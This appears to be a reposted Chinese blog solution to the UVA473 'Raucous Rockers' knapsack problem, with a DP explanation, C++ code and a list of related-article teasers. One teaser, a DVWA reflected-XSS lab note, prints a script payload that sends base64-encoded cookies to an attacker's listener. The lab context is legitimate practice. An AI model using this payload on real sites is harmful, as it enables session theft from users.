Luogu UVA473 Raucous Rockers 题解 [ 蓝 ] [ 背包 ] [ 交换两维优化 ]

news/2025/3/4 0:59:17/文章来源:https://www.cnblogs.com/zhr0102/p/18749718

Raucous Rockers:如果这题 \(n \le 5000\) 的话才有下位蓝的难度吧,不然感觉可以降黄了。

暴力 dp

首先根据选的光盘数和当前光盘剩余空间,我们可以设计出一个 dp:定义 \(dp_{i,j,k}\) 表示当前考虑到第 \(i\) 个歌,当前已经用了 \(j\) 个光盘,第 \(j+1\) 个光盘用到了 \(k\) 的体积的最大歌数。

这个背包的转移是显然的,这里不再赘述,时间复杂度 \(O(nmt)\),可以过但是不够优秀。

交换两维 dp

我们考虑一个下标值域很大时而值很小的 dp 的 trick:交换 dp 值与下标两维。

到这题上我们不难发现,dp 数组内的值一定 \(\le n\),所以这就启发我们利用值域小的这个性质设计 dp。那么应该和前面哪一维交换呢?我们考虑贪心思想,当最后选的个数确定的时候,\(i\) 越小越优秀,所以我们可以交换 \(i\)。但是这题还可以交换另一个东西,继续观察,发现当最后选的个数确定的时候,\(j\) 越小越优秀,当 \(j\) 相同时,\(k\) 越小越优秀。

于是,我们一下就可以把 \(j,k\) 和 dp 里存的值进行交换,dp 数组一下就被我们压掉了两维了!比压掉 \(i\) 的一维复杂度更低,是 \(O(n^2)\) 的。

定义 \(dp_{i,j}\) 表示考虑前 \(i\) 首歌,选其中 \(j\) 首歌的最小代价,里面存的是一个 pair,于是可以写出如下转移:

\[dp_{i,j}\gets \min(dp_{i-1,j},upd(dp_{i-1,j-1},a_i)) \]

其中 \(upd\) 表示将 \(dp_{i-1,j-1}\) 再加入一个长度为 \(a_i\) 的歌的最小代价。

注意特判 \(a_i > t\) 的情况,直接将当前使用的光盘数量设为极大值。

统计答案的时候输出满足使用光盘数 \(\le m\) 的最大的 \(j\) 即可。

代码

#include <bits/stdc++.h>
#define fi first
#define se second
#define eb(x) emplace_back(x)
#define pb(x) push_back(x)
#define lc(x) (tr[x].ls)
#define rc(x) (tr[x].rs)
using namespace std;
typedef long long ll;
typedef unsigned long long ull;
typedef long double ldb;
using pi=pair<int,int>;
const int N=1005;
int n,t,m,a[N],ans=0,sid;
pi dp[N][N];
pi upd(pi ori,int w)
{int x=ori.fi,y=ori.se+w;if(y>t)x++,y=w;if(w>t)x=0x3f3f3f3f;return {x,y};
}
void solve(int id)
{cin>>n>>t>>m;ans=0;for(int i=1;i<=n;i++){char x;cin>>a[i];if(i<n)cin>>x;}memset(dp,0x3f,sizeof(dp));dp[0][0]={0,0};for(int i=1;i<=n;i++){for(int j=0;j<=i;j++){dp[i][j]=dp[i-1][j];if(j)dp[i][j]=min(dp[i][j],upd(dp[i-1][j-1],a[i]));if(dp[i][j].fi+1<=m)ans=max(ans,j);}}cout<<ans<<'\n';if(id<sid)cout<<'\n';
}
int main()
{//freopen("sample.in","r",stdin);//freopen("sample.out","w",stdout);ios::sync_with_stdio(0);cin.tie(0);cout.tie(0);cin>>sid;for(int i=1;i<=sid;i++)solve(i);return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/893236.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开启 Windows 系统中的Beta 版 Unicode UTF-8 支持会带来以下提升和潜在影响:通过修改注册表手动开启Beta 版 Unicode UTF-8 支持,以下是具体步骤和注意事项:

开启 Windows 系统中的 Beta 版 Unicode UTF-8 支持 会带来以下提升和潜在影响:提升与优势全球语言兼容性UTF-8 是 Unicode 的通用编码标准,支持全球所有语言的字符(包括中文、日文、阿拉伯文、Emoji 等)。解决了旧版程序在多语言混合文本中可能出现的乱码问题(例如同时显…

一文搞懂什么是大模型“参数”

DeepSeek爆火之后,经常听到“参数”、8b、14b、32b、70b和671b...,“GPT-3有1750亿参数”“DeepSeek-V3含6710亿参数”,“参数”以及这些天文数字具体是啥意思?有大模型,是否还有“中模型”,“小模型”?今天我们就用“搭积木”和“学生脑”的比喻,揭开参数的神秘面纱。…

Trae AI编程快速上手:半小时完成年会抽奖程序

Trae AI编程快速上手:半小时完成年会抽奖程序朋友们,今天听说字节上线了Trae 国内版,对标Claude的一款AI智能IDE,晚上迫不及待的下载安装,并使用trae来创建一个年会抽奖程序(方便和cline做对比)。废话不多说,马上奉上体验报告! 安装&启动 下载地址:https://www.t…

[虚拟机] VMWare FAQ

FAQ for VMWare Q: VMnet0没有?VMware桥接出现无法将网络更改为桥接状态、没有未桥接的主机网络适配器?问题现象现象1:不论你怎么配置虚拟机实例(如CENTOS7),桥接模式下始终无法ping通本地的其他ip,也无法ping通互联网(如百度)现象2:虚拟网络编辑器中没有VMnet问题分…

matlab 2024b help 设置内置浏览器

新安装的matlab 2024b 下载离线的help doc iso文件 进行离线安装 加载help iso后 在加载目录中执行以下命令: .\mpm install-doc --matlabroot= --destination=是matlab2024b 安装目录 是matlab help doc 安装目录 在matlan安装目录 startuprc.mw文件中增加以下:指示help do…

dvwa xss reflected (low)

开启一个简易的http服务(我用了kali)2.插入Payload<script>window.open(http://192.168.1.105:1234/?cookie=+btoa(document.cookie)) </script>3.受害者访问攻击者插入xss代码的网页,浏览器就会加载插入的JavaScript代码,打开新网页的时候可能会被拦截,注意将…

2020-PTA总决赛-L2-1 简单计算器(仅代码)

简单题,无解析题如其名,简单,栈最基本用法,题怎么说就怎么做,没有坑。Code: #include<bits/stdc++.h> using namespace std; stack<int> S1; stack<char> S2; int main(){int N, M;cin >> N;M = N - 1;while(N--){int v;cin >> v;S1.push(v…

ITS备件汇总

电气 光电传感器 接近传感器 位移尺 伺服 探针 气动 气缸 真空发生器/吸盘 气动接头 机加工件 机械标准件

INFINI Labs 推出 Coco AI,携手 DeepSeek 打造下一代企业知识管理神器!

随着企业信息化程度的飞速提升,海量数据正以前所未有的速度涌现,这些数据分散在内网 Wiki、JIRA、Google Workspace、Dropbox、Notion、GitHub 等多个平台中,形成了一个个难以逾越的“信息孤岛”。员工们在跨平台检索信息时,常常陷入“大海捞针”的困境,不仅浪费了大量时间…

2020-PTA总决赛-L1-8 刮刮彩票(仅代码)

简单题,无解析Code: #include<bits/stdc++.h> using namespace std; int arr[4][4], p[19] = {10000, 36, 720, 360, 80, 252, 108, 72, 54, 180, 72, 180, 119, 36, 306, 1080, 144, 1800, 3600}; int main(){int zero = 45, posx, posy; //初始是1~9的和for(int i = 1…

基于Docker在M芯片的Mac OS X系统中的部署和设置

参考 [基于Docker在M芯片的Mac OS X系统中的部署和设置GitLab Sakis 研究记录](https://sakishum.com/2023/04/11/%E5%9F%BA%E4%BA%8EDocker%E5%9C%A8M%E8%8A%AF%E7%89%87%E7%9A%84Mac-OS-X%E7%B3%BB%E7%BB%9F%E4%B8%AD%E7%9A%84%E9%83%A8%E7%BD%B2%E5%92%8C%E8%AE%BE%E7%BD%A…

2020-PTA总决赛-L1-7 前世档案(思路)

二叉树性质输入样例: 3 4 yny nyy nyn yyn输出样例: 3 5 6 2一开始居然傻傻的开始动手写二叉树的数据结构,还是题做少了... 写了一半感觉一个破L1的题凭什么这么麻烦,结果发现就是根据层序生成编号罢了 左子树编号是root2,右子树编号是root2+1部分正确Code: #include<bit…